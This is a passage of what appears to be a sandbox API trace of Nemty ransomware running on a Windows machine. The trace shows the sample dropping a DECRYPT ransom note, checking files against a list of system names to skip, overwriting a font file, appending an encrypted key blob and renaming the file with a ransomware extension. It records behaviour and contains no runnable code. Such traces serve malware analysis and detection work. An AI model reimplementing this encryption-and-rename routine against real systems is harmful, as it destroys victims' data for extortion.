returned 16 [0193.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.141] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340158 [0193.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340200 [0193.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0193.142] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\prc\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0193.142] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.142] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0193.143] CloseHandle (hObject=0x254) returned 1 [0193.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0193.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0193.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0193.143] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x26c24330, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26c24330, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0193.143] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0193.143] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x26c24330, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26c24330, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0193.144] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0193.144] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0193.144] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x131c4, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="MyriadCAD.otf", cAlternateFileName="MYRIAD~1.OTF")) returned 1 [0193.144] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2=".") returned 1 [0193.144] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="..") returned 1 [0193.144] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="...") returned 1 [0193.144] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="windows") returned -1 [0193.144] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="$RECYCLE.BIN") returned 1 [0193.144] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="rsa") returned -1 [0193.144] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="NTDETECT.COM") returned -1 [0193.144] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="ntldr") returned -1 [0193.144] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="MSDOS.SYS") returned 1 [0193.144] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="IO.SYS") returned 1 [0193.144] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="boot.ini") returned 1 [0193.144] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="boot.ini") returned 1 [0193.144] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="AUTOEXEC.BAT") returned 1 [0193.144] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="ntuser.dat") returned -1 [0193.144] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="desktop.ini") returned 1 [0193.144] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="CONFIG.SYS") returned 1 [0193.144] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="RECYCLER") returned -1 [0193.144] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="BOOTSECT.BAK") returned 1 [0193.144] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="bootmgr") returned 1 [0193.144] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="programdata") returned -1 [0193.144] lstrcmpiW (lpString1="MyriadCAD.otf", lpString2="appdata") returned 1 [0193.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadCAD.otf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadCAD.otf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyriadCAD.otf", lpUsedDefaultChar=0x0) returned 13 [0193.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadCAD.otf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadCAD.otf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyriadCAD.otf", lpUsedDefaultChar=0x0) returned 13 [0193.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadCAD.otf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadCAD.otf", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyriadCAD.otf", lpUsedDefaultChar=0x0) returned 13 [0193.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadCAD.otf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadCAD.otf", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyriadCAD.otf", lpUsedDefaultChar=0x0) returned 13 [0193.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400d0 [0193.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0193.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340178 [0193.145] Sleep (dwMilliseconds=0x5) [0193.157] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x26c705f0, dwHighDateTime=0x1d561e8)) [0193.157] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x26c705f0, dwHighDateTime=0x1d561e8)) [0193.157] GetLastError () returned 0xb7 [0193.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.157] GetLastError () returned 0xb7 [0193.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.158] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0193.158] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0193.158] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0193.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0193.158] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="QDfJKiBqgCmJkrfMIictyoN4YE4Uy0oWV8X94g1Ggv2zJF7qlYtsDOxNnZzYEdVE\r\nUrLIC2rBfQxk4Y5fJ2LSDUkq8Nw3jdOG0acL/9EfBus+9NhytpAqwj4s7cxT6G+Q\r\n64+Bj5uvT4T5j/v9o6rtlosdCTaHE7SHvTW3vIQCT+WUcE3u1eLA/xACzxA/4Zea\r\nJGUUqnMZ9XZ13560YAW564MTbI4TPROxB4wQipIhlMlgtzlb73W3/BAPzZfhcNY8\r\nTWG6j44fREe7cT4nz1Uyu/Vy66G3k0CgVmROpDfEJDQpXWsElXS2z26LmjHbOCqj\r\nTBSDdugFpvX8EyGrJ+HcTw==\r\n", pcchString=0x653e5dc) returned 1 [0193.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f94420 [0193.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0193.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.158] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\prc\\myriadcad.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0193.158] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=78276) returned 1 [0193.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x131c0) returned 0x6352c48 [0193.159] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.159] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x131c0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x131c0, lpOverlapped=0x0) returned 1 [0193.165] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.165] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x131c0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x131c0, lpOverlapped=0x0) returned 1 [0193.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0193.166] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=78276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x131c4 [0193.166] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0193.166] CloseHandle (hObject=0x2e8) returned 1 [0193.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340220 [0193.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63402c8 [0193.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340370 [0193.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c8 | out: hHeap=0x4f90000) returned 1 [0193.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.166] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\prc\\myriadcad.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\prc\\myriadcad.otf._nemty_kgobjgd_")) returned 1 [0193.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340370 | out: hHeap=0x4f90000) returned 1 [0193.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340220 | out: hHeap=0x4f90000) returned 1 [0193.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94420 | out: hHeap=0x4f90000) returned 1 [0193.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340178 | out: hHeap=0x4f90000) returned 1 [0193.167] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26c24330, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x26c24330, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26c4a490, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0193.167] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0193.167] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0193.167] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0193.167] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0193.167] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0193.167] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0193.167] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0193.167] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0193.167] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0193.167] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0193.167] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0193.167] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0193.167] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0193.167] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0193.167] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0193.167] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0193.167] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0193.168] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0193.168] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0193.168] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0193.168] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0193.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0193.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0193.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0193.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0193.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0193.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0193.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0193.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0193.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0193.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0193.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340178 [0193.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0193.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.168] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26c24330, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x26c24330, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26c4a490, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0193.168] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0193.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340178 | out: hHeap=0x4f90000) returned 1 [0193.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94398 | out: hHeap=0x4f90000) returned 1 [0193.169] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, 